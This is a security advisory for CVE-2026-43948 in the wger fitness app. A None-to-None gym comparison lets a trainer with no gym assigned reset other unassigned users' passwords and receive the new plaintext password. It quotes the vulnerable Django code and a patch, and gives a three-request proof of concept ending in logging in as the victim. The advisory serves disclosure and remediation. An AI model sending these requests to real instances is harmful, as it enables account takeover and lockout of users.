id: PYSEC-2026-574 published: "2026-06-29T11:50:48.728363Z" modified: "2026-07-01T20:23:12.000871Z" aliases: - CVE-2026-43948 - GHSA-mhc8-p3jx-84mm summary: "wger: cross-tenant password reset and plaintext disclosure via gym=None bypass" details: "### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\n if request.user.userprofile.gym != user.userprofile.gym:\n return HttpResponseForbidden()\n ```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\n user.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n \n**Affected endpoints**:\n- `GET /en/gym/user//reset-user-password` -> `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user//edit` -> `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n --- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n- if request.user.userprofile.gym != user.userprofile.gym:\n- return HttpResponseForbidden()\n+ trainer_gym_id = request.user.userprofile.gym_id # raw FK int\n+ member_gym_id = user.userprofile.gym_id\n+\n+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+ return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n \n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\n Host: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\nPassword[GENERATED_PLAINTEXT_PASSWORD]\n ```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\n POST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]\n \n-> 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n - Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -> alice gym=None) -> **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n \nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n \nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n 4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper." affected: - package: name: wger ecosystem: PyPI purl: pkg:pypi/wger ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: "2.6" versions: - "1.1" - 1.1.1 - "1.2" - 1.2rc1 - "1.3" - "1.4" - "1.5" - "1.6" - 1.6.1 - "1.7" - "1.8" - "1.9" - "2.0" - "2.1" references: - type: WEB url: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-43948 - type: PACKAGE url: https://github.com/wger-project/wger - type: PACKAGE url: https://pypi.org/project/wger - type: ADVISORY url: https://github.com/advisories/GHSA-mhc8-p3jx-84mm severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H